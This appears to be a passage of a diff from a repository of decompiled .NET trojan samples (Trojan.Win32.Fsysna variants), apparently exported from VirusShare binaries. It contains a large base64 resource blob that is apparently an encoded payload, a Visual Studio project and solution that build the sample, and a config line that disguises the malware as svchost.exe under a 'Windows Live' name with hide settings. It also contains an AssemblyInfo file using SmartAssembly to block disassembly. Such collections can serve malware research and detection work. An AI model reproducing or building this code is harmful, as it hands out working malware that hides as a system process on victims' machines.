+        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
+        UflmiPZCC8ZR+WaI9kILxlH5Zoj2QgvGUflmiPZCC8ZR+WaI9kILxlH5Zoj2QgvGUflmiPZCC8ZR+WaI
+        9kILxlH5Zoj2QgvGUflmiPZCC8ZR+WaI9kILxlH5Zoj2QgvGUflmiEDoOmGlxbBOSzjAMr+isxz2QgvG
+        UflmiPZCC8ZR+WaI9kILxlH5Zoj2QgvGUflmiPZCC8ZR+WaI9kILxlH5Zoj2QgvGUflmiPZCC8ZR+WaI
+        9kILxlH5Zoj2QgvGUflmiPZCC8ZR+WaI9kILxlH5Zoj2QgvGUflmiPZCC8ZR+WaI9kILxlH5Zoj2QgvG
+        UflmiPZCC8ZR+WaI9kILxlH5Zoj2QgvGUflmiPZCC8ZR+WaI9kILxlH5Zoj2QgvGUflmiPZCC8ZR+WaI
+        9kILxlH5Zoj2QgvGUflmiPZCC8ZR+WaI9kILxlH5Zoj2QgvGUflmiPZCC8ZR+WaI9kILxlH5Zoj2QgvG
+        UflmiPZCC8ZR+WaI9kILxlH5Zoj2QgvGUflmiPZCC8ZR+WaI9kILxlH5Zoj2QgvGUflmiPZCC8ZR+WaI
+        9kILxlH5Zoj2QgvGUflmiPZCC8ZR+WaI9kILxlH5Zoj2QgvGUflmiPZCC8ZR+WaI9kILxlH5Zoj2QgvG
+        UflmiPZCC8ZR+WaI9kILxlH5Zoj2QgvGUflmiPZCC8ZR+WaI9kILxlH5Zoj2QgvGUflmiPZCC8ZR+WaI
+        9kILxlH5Zoj2QgvGUflmiPZCC8ZR+WaI9kILxlH5Zoj2QgvGUflmiPZCC8ZR+WaI9kILxlH5Zoj2QgvG
+        UflmiPZCC8ZR+WaIZ/1Rsa5zfss=
+</value>
+  </data>
+</root>

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.cit-694aade1774954e9ecf7243912b531bfe93e6cd003b759725668d2a1e8986cae/Trojan.Win32.Fsysna.cit.csproj

@@ -0,0 +1,56 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.Win32.Fsysna.cit-694aade1774954e9ecf7243912b531bfe93e6cd003b759725668d2a1e8986cae.exe-->
+  <PropertyGroup>
+    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
+    <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
+    <ProjectGuid>{98C6C2CF-402A-46B7-8FC3-4099B990C6ED}</ProjectGuid>
+    <OutputType>WinExe</OutputType>
+    <AssemblyName>ePsmpVfEBbD7JvU35</AssemblyName>
+    <ApplicationVersion>1.0.0.0</ApplicationVersion>
+    <RootNamespace>ePsmpVfEBbD7JvU35</RootNamespace>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugSymbols>true</DebugSymbols>
+    <DebugType>full</DebugType>
+    <Optimize>false</Optimize>
+    <OutputPath>bin\Debug\</OutputPath>
+    <DefineConstants>DEBUG;TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugType>pdbonly</DebugType>
+    <Optimize>true</Optimize>
+    <OutputPath>bin\Release\</OutputPath>
+    <DefineConstants>TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <ItemGroup>
+    <Reference Include="Microsoft.VisualBasic" />
+    <Reference Include="System" />
+    <Reference Include="System.Drawing" />
+    <Reference Include="System.Windows.Forms" />
+  </ItemGroup>
+  <ItemGroup>
+    <Compile Include="jMWjno977htj.cs" />
+    <Compile Include="My\MyApplication.cs" />
+    <Compile Include="My\MyComputer.cs" />
+    <Compile Include="My\MyProject.cs" />
+    <Compile Include="My\MySettings.cs" />
+    <Compile Include="My\MySettingsProperty.cs" />
+    <Compile Include="My\Resources\Resources.cs" />
+    <Compile Include="AssemblyInfo.cs" />
+  </ItemGroup>
+  <ItemGroup>
+    <EmbeddedResource Include="jMWjno977htj.resx" />
+    <EmbeddedResource Include="Resources.resx" />
+    <EmbeddedResource Include="u77R0L3a" />
+    <EmbeddedResource Include="u77R0L3b" />
+    <EmbeddedResource Include="u77R0L3c" />
+  </ItemGroup>
+  <Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
+</Project>

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.cit-694aade1774954e9ecf7243912b531bfe93e6cd003b759725668d2a1e8986cae/Trojan.Win32.Fsysna.cit.sln

@@ -0,0 +1,20 @@
+
+Microsoft Visual Studio Solution File, Format Version 9.00
+# Visual Studio 2005
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ePsmpVfEBbD7JvU35", "Trojan.Win32.Fsysna.cit-694aade1774954e9ecf7243912b531bfe93e6cd003b759725668d2a1e8986cae.csproj", "{98C6C2CF-402A-46B7-8FC3-4099B990C6ED}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|Any CPU = Debug|Any CPU
+		Release|Any CPU = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{98C6C2CF-402A-46B7-8FC3-4099B990C6ED}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{98C6C2CF-402A-46B7-8FC3-4099B990C6ED}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{98C6C2CF-402A-46B7-8FC3-4099B990C6ED}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{98C6C2CF-402A-46B7-8FC3-4099B990C6ED}.Release|Any CPU.Build.0 = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+EndGlobal

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.cit-694aade1774954e9ecf7243912b531bfe93e6cd003b759725668d2a1e8986cae/jMWjno977htj.resx

@@ -0,0 +1,120 @@
+<?xml version="1.0" encoding="utf-8"?>
+<root>
+  <!-- 
+    Microsoft ResX Schema 
+    
+    Version 2.0
+    
+    The primary goals of this format is to allow a simple XML format 
+    that is mostly human readable. The generation and parsing of the 
+    various data types are done through the TypeConverter classes 
+    associated with the data types.
+    
+    Example:
+    
+    ... ado.net/XML headers & schema ...
+    <resheader name="resmimetype">text/microsoft-resx</resheader>
+    <resheader name="version">2.0</resheader>
+    <resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
+    <resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
+    <data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
+    <data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
+    <data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
+        <value>[base64 mime encoded serialized .NET Framework object]</value>
+    </data>
+    <data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
+        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
+        <comment>This is a comment</comment>
+    </data>
+                
+    There are any number of "resheader" rows that contain simple 
+    name/value pairs.
+    
+    Each data row contains a name, and value. The row also contains a 
+    type or mimetype. Type corresponds to a .NET class that support 
+    text/value conversion through the TypeConverter architecture. 
+    Classes that don't support this are serialized and stored with the 
+    mimetype set.
+    
+    The mimetype is used for serialized objects, and tells the 
+    ResXResourceReader how to depersist the object. This is currently not 
+    extensible. For a given mimetype the value must be set accordingly:
+    
+    Note - application/x-microsoft.net.object.binary.base64 is the format 
+    that the ResXResourceWriter will generate, however the reader can 
+    read any of the formats listed below.
+    
+    mimetype: application/x-microsoft.net.object.binary.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
+            : and then encoded with base64 encoding.
+    
+    mimetype: application/x-microsoft.net.object.soap.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter
+            : and then encoded with base64 encoding.
+
+    mimetype: application/x-microsoft.net.object.bytearray.base64
+    value   : The object must be serialized into a byte array 
+            : using a System.ComponentModel.TypeConverter
+            : and then encoded with base64 encoding.
+    -->
+  <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
+    <xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
+    <xsd:element name="root" msdata:IsDataSet="true">
+      <xsd:complexType>
+        <xsd:choice maxOccurs="unbounded">
+          <xsd:element name="metadata">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" />
+              </xsd:sequence>
+              <xsd:attribute name="name" use="required" type="xsd:string" />
+              <xsd:attribute name="type" type="xsd:string" />
+              <xsd:attribute name="mimetype" type="xsd:string" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="assembly">
+            <xsd:complexType>
+              <xsd:attribute name="alias" type="xsd:string" />
+              <xsd:attribute name="name" type="xsd:string" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="data">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+                <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
+              <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
+              <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="resheader">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" />
+            </xsd:complexType>
+          </xsd:element>
+        </xsd:choice>
+      </xsd:complexType>
+    </xsd:element>
+  </xsd:schema>
+  <resheader name="resmimetype">
+    <value>text/microsoft-resx</value>
+  </resheader>
+  <resheader name="version">
+    <value>2.0</value>
+  </resheader>
+  <resheader name="reader">
+    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+  <resheader name="writer">
+    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+</root>

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.cit-694aade1774954e9ecf7243912b531bfe93e6cd003b759725668d2a1e8986cae/u77R0L3b

@@ -0,0 +1 @@
+1||svchost||svchost.exe||A||Windows Live||%hide%||svchost||0||%fk%||%fktitle%||%fkmessage%||%dl%||%dllink%||1||MicrosoftPointGenerator.exe||1||KjYVPheCXvCxKNbwyISMpGYsM

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.deeq-bccdbf807edf4ae3f172c9e102415d19675fee38175dc7fe4f296402da8186a9/AssemblyInfo.cs

@@ -0,0 +1,10 @@
+using SmartAssembly.Attributes;
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+[assembly: SuppressIldasm]
+[assembly: PoweredBy("Powered by {smartassembly}")]
+[assembly: AssemblyFileVersion("1.0.0.0")]
+[assembly: Guid("30435f16-b90a-489a-ac88-75daf277f773")]
+[assembly: AssemblyVersion("1.0.0.0")]

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.deeq-bccdbf807edf4ae3f172c9e102415d19675fee38175dc7fe4f296402da8186a9/MyApplication/Properties/Resources.resx

